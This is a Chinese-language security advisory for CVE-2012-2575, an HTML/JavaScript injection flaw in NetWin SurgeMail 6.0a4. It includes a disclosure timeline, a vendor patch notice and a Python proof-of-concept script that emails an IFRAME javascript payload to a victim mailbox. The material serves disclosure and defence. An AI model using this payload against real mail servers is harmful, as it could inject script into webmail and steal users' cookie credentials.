发布日期：2012-08-08
更新日期：2012-08-09

受影响系统：

NetWin SurgeMail 6.0a4

描述：

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BUGTRAQ  ID: 54895
CVE ID: CVE-2012-2575

SurgeMail是下一代的邮件服务器，可运行在Windows NT/2K或UNIX平台上，支持所有的标准IMAP、POP3、SMTP、SSL和ESMTP协议。

SurgeMail 6.0a4及其他版本在实现上存在HTML注入漏洞，攻击者可提供HTML或JS代码
，在受影响站点中运行，窃取Cookie身份验证凭证或控制站点外观。

<*来源：loneferret
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: SurgeMail
Version: 6.0a4
Vendor Site: http://www.netwinsite.com
Software Download: http://netwinsite.com/download.htm

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated details with vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''


import smtplib, urllib2
  
payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""
  
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
  
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
  
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

建议：

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厂商补丁：

NetWin
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://netwinsite.com/

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